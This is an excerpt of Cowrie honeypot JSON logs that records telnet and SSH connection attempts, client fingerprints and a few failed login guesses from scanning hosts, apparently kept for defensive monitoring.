{"eventid":"cowrie.session.closed","duration":32.19961619377136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:55.055971Z","src_ip":"209.126.87.217","session":"4e3362c2eac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60367774963379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:55.702047Z","src_ip":"209.126.87.217","session":"519e917fc9ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06959295272827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:56.863047Z","src_ip":"172.233.212.110","session":"88c5f62d9523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736667156219482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:57.310798Z","src_ip":"172.233.212.110","session":"58aa72261ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229249954223633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:58.918512Z","src_ip":"172.233.212.110","session":"9f896101f972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75670528411865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.194839Z","src_ip":"209.126.87.217","session":"be0c0b978622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9ac0016086","protocol":"telnet","message":"New connection: 139.162.207.207:39280 (10.17.0.5:23) [session: 5b9ac0016086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.472027Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47340,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc840b9f209f","protocol":"ssh","message":"New connection: 159.203.92.129:47340 (159.203.135.109:22) [session: bc840b9f209f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.541596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.546427Z","src_ip":"159.203.92.129","session":"bc840b9f209f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.550772Z","src_ip":"159.203.92.129","session":"bc840b9f209f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc123!@#","message":"login attempt [ansible/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.564309Z","src_ip":"159.203.92.129","session":"bc840b9f209f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.061260223388672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.913999Z","src_ip":"172.233.212.110","session":"f91169199995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44596,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f52d6ef9c3","protocol":"telnet","message":"New connection: 172.233.212.110:44596 (10.17.0.5:23) [session: 98f52d6ef9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:31:59.961055Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39264,"dst_ip":"10.17.0.5","dst_port":23,"session":"629167f88f1d","protocol":"telnet","message":"New connection: 139.162.207.207:39264 (10.17.0.5:23) [session: 629167f88f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:00.473460Z"}
{"eventid":"cowrie.session.closed","duration":32.278794288635254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:00.563324Z","src_ip":"172.233.212.110","session":"c6d5677b1af1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:00.581259Z","src_ip":"159.203.92.129","session":"bc840b9f209f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95aacf054b0","protocol":"telnet","message":"New connection: 139.162.207.207:39292 (10.17.0.5:23) [session: f95aacf054b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:00.849091Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44606,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a7bef41b80","protocol":"telnet","message":"New connection: 172.233.212.110:44606 (10.17.0.5:23) [session: 68a7bef41b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:01.310672Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44614,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ede5724d86","protocol":"telnet","message":"New connection: 172.233.212.110:44614 (10.17.0.5:23) [session: 85ede5724d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:01.715017Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49788,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cef4699f43d","protocol":"telnet","message":"New connection: 209.126.87.217:49788 (159.203.135.109:23) [session: 5cef4699f43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:04.165543Z"}
{"eventid":"cowrie.session.closed","duration":34.3615083694458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:04.990009Z","src_ip":"172.233.212.110","session":"bff685a57948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50868,"dst_ip":"10.17.0.5","dst_port":23,"session":"56fdbfe622e6","protocol":"telnet","message":"New connection: 172.233.212.110:50868 (10.17.0.5:23) [session: 56fdbfe622e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:05.692720Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":49804,"dst_ip":"159.203.135.109","dst_port":23,"session":"43431ec8fc18","protocol":"telnet","message":"New connection: 209.126.87.217:49804 (159.203.135.109:23) [session: 43431ec8fc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:05.985931Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":40718,"dst_ip":"159.203.135.109","dst_port":22,"session":"234698e7ee04","protocol":"ssh","message":"New connection: 37.143.61.130:40718 (159.203.135.109:22) [session: 234698e7ee04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:06.283631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:07.887919Z","src_ip":"37.143.61.130","session":"234698e7ee04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:07.983740Z","src_ip":"37.143.61.130","session":"234698e7ee04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.37664747238159,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:08.982312Z","src_ip":"172.233.212.110","session":"060111e8775c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"a116df1d2557","protocol":"telnet","message":"New connection: 172.233.212.110:50882 (10.17.0.5:23) [session: a116df1d2557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:10.372399Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@1234","message":"login attempt [root/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:10.401938Z","src_ip":"37.143.61.130","session":"234698e7ee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50886,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fdcae7c3ac","protocol":"telnet","message":"New connection: 172.233.212.110:50886 (10.17.0.5:23) [session: 90fdcae7c3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:10.761839Z"}
{"eventid":"cowrie.session.closed","duration":32.39259195327759,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:11.612869Z","src_ip":"172.233.212.110","session":"913fd5f2a511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187706947327,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:11.676720Z","src_ip":"42.114.201.41","session":"c18529b0119d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50894,"dst_ip":"10.17.0.5","dst_port":23,"session":"939d2553ea4b","protocol":"telnet","message":"New connection: 172.233.212.110:50894 (10.17.0.5:23) [session: 939d2553ea4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:11.773372Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:11.787426Z","src_ip":"37.143.61.130","session":"234698e7ee04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50906,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf648b02467","protocol":"telnet","message":"New connection: 172.233.212.110:50906 (10.17.0.5:23) [session: 3cf648b02467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:11.937339Z"}
{"eventid":"cowrie.session.closed","duration":30.57929825782776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:12.136981Z","src_ip":"172.233.212.110","session":"5eb8e4d72abd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00176525115967,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:12.512948Z","src_ip":"42.114.201.41","session":"4cddb32484e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82680320739746,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:12.547607Z","src_ip":"209.126.87.217","session":"56a605812eff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.894768953323364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:13.054421Z","src_ip":"209.126.87.217","session":"226cf3b08827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":1157,"dst_ip":"159.203.135.109","dst_port":23,"session":"907ec31a8210","protocol":"telnet","message":"New connection: 42.114.201.41:1157 (159.203.135.109:23) [session: 907ec31a8210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:13.527332Z"}
{"eventid":"cowrie.session.closed","duration":120.00108742713928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:14.345610Z","src_ip":"42.114.201.41","session":"8d52d72e5f50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107860565186,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:14.501114Z","src_ip":"42.114.201.41","session":"acb738f2b017","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0014591217041,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:14.544536Z","src_ip":"42.114.201.41","session":"bb0f2965f739","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":59288,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bc5ebc2dd24","protocol":"telnet","message":"New connection: 42.114.201.41:59288 (159.203.135.109:23) [session: 6bc5ebc2dd24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:16.322099Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36210,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd4df896f895","protocol":"telnet","message":"New connection: 209.126.87.217:36210 (159.203.135.109:23) [session: cd4df896f895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:17.241066Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41630,"dst_ip":"10.17.0.5","dst_port":23,"session":"13cb26c497c8","protocol":"telnet","message":"New connection: 172.233.212.110:41630 (10.17.0.5:23) [session: 13cb26c497c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:17.482852Z"}
{"eventid":"cowrie.session.closed","duration":35.492172718048096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:17.688670Z","src_ip":"172.233.212.110","session":"d89ecf87ec51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":60233,"dst_ip":"159.203.135.109","dst_port":23,"session":"130284db894f","protocol":"telnet","message":"New connection: 42.114.201.41:60233 (159.203.135.109:23) [session: 130284db894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:17.800164Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":3853,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ec696036bc6","protocol":"telnet","message":"New connection: 42.114.201.41:3853 (159.203.135.109:23) [session: 1ec696036bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:17.807650Z"}
{"eventid":"cowrie.session.closed","duration":32.19654679298401,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:18.659844Z","src_ip":"172.233.212.110","session":"b83527ccf69f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07633900642395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:18.874405Z","src_ip":"172.233.212.110","session":"a301d765ddeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41638,"dst_ip":"10.17.0.5","dst_port":23,"session":"9362b37e064a","protocol":"telnet","message":"New connection: 172.233.212.110:41638 (10.17.0.5:23) [session: 9362b37e064a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:21.149050Z"}
{"eventid":"cowrie.session.closed","duration":32.37096428871155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:21.334206Z","src_ip":"172.233.212.110","session":"545aed4da2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ccbc9dd032c","protocol":"telnet","message":"New connection: 139.162.207.207:58860 (10.17.0.5:23) [session: 2ccbc9dd032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:22.262819Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54096,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cb0ab2e0443","protocol":"telnet","message":"New connection: 209.126.87.217:54096 (159.203.135.109:23) [session: 7cb0ab2e0443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:22.286903Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47016,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd431f0737fe","protocol":"telnet","message":"New connection: 172.233.212.110:47016 (10.17.0.5:23) [session: fd431f0737fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:22.466243Z"}
{"eventid":"cowrie.session.closed","duration":31.25131583213806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:23.003695Z","src_ip":"172.233.212.110","session":"cf30606f76ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47018,"dst_ip":"10.17.0.5","dst_port":23,"session":"a91479cb7533","protocol":"telnet","message":"New connection: 172.233.212.110:47018 (10.17.0.5:23) [session: a91479cb7533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:23.196184Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47020,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bdcfef28e52","protocol":"telnet","message":"New connection: 172.233.212.110:47020 (10.17.0.5:23) [session: 7bdcfef28e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:23.275754Z"}
{"eventid":"cowrie.session.closed","duration":31.00898313522339,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:23.287841Z","src_ip":"172.233.212.110","session":"f5eb7e4685c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47024,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec9641c8e89c","protocol":"telnet","message":"New connection: 172.233.212.110:47024 (10.17.0.5:23) [session: ec9641c8e89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:23.601587Z"}
{"eventid":"cowrie.session.closed","duration":42.89470720291138,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:25.224855Z","src_ip":"139.162.207.207","session":"55c452b07928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.502854347229004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:25.524846Z","src_ip":"172.233.212.110","session":"708edef05301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47036,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8faf07b24bd","protocol":"telnet","message":"New connection: 172.233.212.110:47036 (10.17.0.5:23) [session: a8faf07b24bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:26.643437Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":54102,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a2184173ec","protocol":"telnet","message":"New connection: 209.126.87.217:54102 (159.203.135.109:23) [session: 40a2184173ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:28.898976Z"}
{"eventid":"cowrie.session.closed","duration":30.57121992111206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:30.532134Z","src_ip":"172.233.212.110","session":"98f52d6ef9c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39004,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda3585be9bb","protocol":"telnet","message":"New connection: 139.162.207.207:39004 (10.17.0.5:23) [session: eda3585be9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:31.087134Z"}
{"eventid":"cowrie.session.closed","duration":30.42844319343567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:32.143333Z","src_ip":"172.233.212.110","session":"85ede5724d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.256882190704346,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:34.105834Z","src_ip":"139.162.207.207","session":"f95aacf054b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":49416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7ba8a481ad2","protocol":"telnet","message":"New connection: 172.233.212.110:49416 (10.17.0.5:23) [session: b7ba8a481ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:34.556638Z"}
{"eventid":"cowrie.session.closed","duration":33.25080943107605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:32:34.561321Z","src_ip":"172.233.212.110","session":"68a7bef41b80","protocol":"telnet"}
